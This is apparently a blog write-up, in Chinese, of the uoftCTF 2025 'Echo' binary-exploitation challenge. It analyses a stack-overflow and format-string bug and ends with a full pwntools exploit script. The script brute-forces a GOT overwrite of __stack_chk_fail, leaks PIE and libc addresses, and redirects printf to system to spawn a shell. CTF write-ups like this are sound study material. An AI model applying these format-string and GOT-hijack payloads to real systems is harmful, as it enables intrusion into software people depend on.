Featured image of post uoftCTF 2025 Echo WP

uoftCTF 2025 Echo WP

挺有意思的一道pwn题,收获挺大

uoftCTF 2025 Echo WP

题目分析

将题目拖入 IDA,查看核心函数 vuln

int vuln()
{
  char buf; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, &buf, 0x100uLL); // 漏洞点1: 栈溢出 (0x100 > 1)
  return printf(&buf);     // 漏洞点2: 格式化字符串漏洞
}

代码逻辑非常短小:程序申请了一个极小的缓冲区 buf(1字节),但允许读取 0x100 字节,存在明显的栈溢出。同时,直接将用户输入作为 printf 的参数,存在格式化字符串漏洞。

使用 checksec 查看保护开启情况:

Arch:     amd64-64-little
RELRO:    Partial RELRO   <-- 关键:GOT 表可写
Stack:    Canary found    <-- 关键:开启栈保护
NX:       NX enabled
PIE:      PIE enabled     <-- 关键:地址随机化开启

分析结论:

由于开启了 Canary,常规的栈溢出覆盖返回地址(ROP)会触发 __stack_chk_fail 导致程序终止。且 vuln 函数执行一次即退出,无法进行多轮交互泄露地址。

破局思路:

利用 Partial RELRO(GOT 表可写)的特性,通过栈溢出和格式化字符串漏洞,劫持 Canary 的报错处理函数 __stack_chk_fail。将其 GOT 表中的地址篡改为 main 函数地址。这样,当 Canary 报错被触发时,程序实际上会跳转回 main 函数重启,从而实现无限循环漏洞利用。

利用思路与计算

攻击链设计

  1. **劫持报错 **:修改栈上指针指向 GOT 表,并修改 GOT 表内容,建立循环。
  2. 泄露地址:程序重启后,利用格式化字符串泄露 PIE 基址和 Libc 基址。
  3. **获取 Shell :将 printf 的 GOT 表改为 system,传入 /bin/sh

关键偏移计算

通过 readelf 获取关键地址偏移:

  • __stack_chk_fail GOT 偏移0x4018

    readelf -r ./chall | grep stack_chk_fail
    000000004018 ... R_X86_64_JUMP_SLO ... __stack_chk_fail@GLIBC_2.4
    
  • main 函数偏移0x1249

    readelf -s ./chall | grep main
    36: 0000000000001249 ... main
    

概率爆破逻辑 (1/16)

由于开启了 PIE,程序基址是随机的(以 0x1000 页为单位)。

  • 确定部分:低 12 bit(后 3 位 16 进制)是固定的,且对于小程序来说,倒数第五位及以上一般都是相同的
    • GOT 结尾:018
    • Main 结尾:249
  • 随机部分:倒数第 4 位(第 13-16 bit)是随机的。

攻击操作:

  1. 修改指针:利用 read 溢出,覆盖栈上第 9 个参数槽位(原为返回地址指针)。我们需要覆盖其低 2 字节为 \x18\x80(假设倒数第 4 位随机到了 8,即指向 ...8018)。
  2. 修改内容:利用 %n 向该指针指向的地址写入数据。我们需要写入 Main 函数的低 2 字节 0x5249(假设倒数第 4 位随机到了 5)。
    • 注意0x5249 (Hex) = 21065 (Decimal)。

由于 Main 函数和 GOT 表在同一个 PIE 段内,基址是共享的。只要基址满足条件,这两个假设会同时成立。成功概率为 1/16

Exploit 脚本

from pwn import *

context(os='linux', arch='amd64')

# 加载 ELF 文件,checksec=False 关闭自动检查输出
elf  = ELF("./chall")

attempt = 0
while True:
    attempt += 1
    try:
        log.info(f"=== attempt #{attempt} ===")
        # 启动进程
        io = process("./chall")
        libc = elf.libc

        # ======================================================
        # 1. 暴力复活 (Stack Smash Hijack) - 概率 1/16
        # ======================================================
        # 构造 Payload:
        # %21065c : 打印 21065 个字符,使得 printf 内部计数器达到 0x5249 (main 函数低 2 字节)
        # %9$hn   : 将 0x5249 写入到第 9 个参数指向的地址 (即 __stack_chk_fail 的 GOT 表)
        # padding : 填充对齐,确保后面的 \x18\x80 正好覆盖到栈上的第 9 个参数槽位
        # \x18\x80: 利用 read 栈溢出,只覆盖返回地址指针的低 2 字节。
        #           0x18 是固定的 GOT 表偏移,0x8 是猜测的基址倒数第 4 位。
        buf  = b"%21065c%9$hn"
        buf += b"A"*(0x11 - len(buf))
        buf += b"\x18\x80"
        io.send(buf)

        # ======================================================
        # 2. 泄露 PIE 基址
        # ======================================================
        # 如果爆破成功,程序会重启。sleep 是为了等待程序重启完毕,防止粘包
        sleep(0.5)

        # 发送 %9$p 读取栈上第 9 个位置的内容。
        # 重启后,CPU 会自动把 main 函数里的下一条指令地址压入这个位置。
        buf = b"%9$p"
        io.sendline(buf)
        io.recvuntil(b"0x")

        # 解析泄露的地址
        pie_leak = int(io.recvuntil(b"\n"), 16)
        # 计算基址:泄露地址 - 固定偏移 (0x1275 是 main+44 的指令偏移)
        pie_base = pie_leak - 0x1275

        print("pie_leak =", hex(pie_leak))
        print("pie_base =", hex(pie_base))

        # 清理缓冲区,读掉上面 printf 可能产生的多余输出
        io.recvn(10)

        # ======================================================
        # 3. 泄露 Libc 基址
        # ======================================================
        # 构造 Payload 利用 %s 任意读
        # %8$s : 让 printf 读取栈上第 8 个参数指向的地址 (即 read 的 GOT 表)
        buf = b"%8$s"
        buf += b"A"*(0x9 - len(buf)) # 填充对齐
        # 把 read 的 GOT 表地址放在 payload 尾部 (对应第 8 参数)
        buf += p64(pie_base + elf.got.read)
        io.sendline(buf)

        # 读取 6 字节的地址,并补齐为 8 字节
        read_addr = u64(io.recvn(6) + b"\x00\x00")
        # 计算 Libc 基址
        libc_base = read_addr - libc.sym.read

        print("read_addr =", hex(read_addr))
        print("libc_base =", hex(libc_base))

        # ======================================================
        # 4. Get Shell
        # ======================================================
        # 利用 fmtstr_payload 将 printf 的 GOT 表修改为 system 的地址
        index = 7 # 格式化字符串偏移 (buf 在栈上的位置)
        system_addr = libc_base + libc.sym.system
        # 目标:printf@got -> system@addr
        writes = {pie_base + elf.got.printf: system_addr}

        buf = b"A" # padding 用于对齐
        # 生成修改 GOT 表的 payload
        buf += fmtstr_payload(index, writes, numbwritten=1, write_size='byte')
        io.sendline(buf)

        # 发送 "/bin/sh"。此时 printf("/bin/sh") 实际上执行 system("/bin/sh")
        io.send(b"/bin/sh\x00")

        # 交互模式,拿到 Shell
        io.interactive()
        break

    except KeyboardInterrupt:
        raise
    except Exception as e:
        # 如果爆破失败 (概率 15/16),程序会崩溃,捕获异常并重试
        try:
            io.close()
        except:
            pass
        log.warning(f"attempt #{attempt} failed: {e}")
        continue
This blog has been running for
Published 11 posts · Total 48.46k words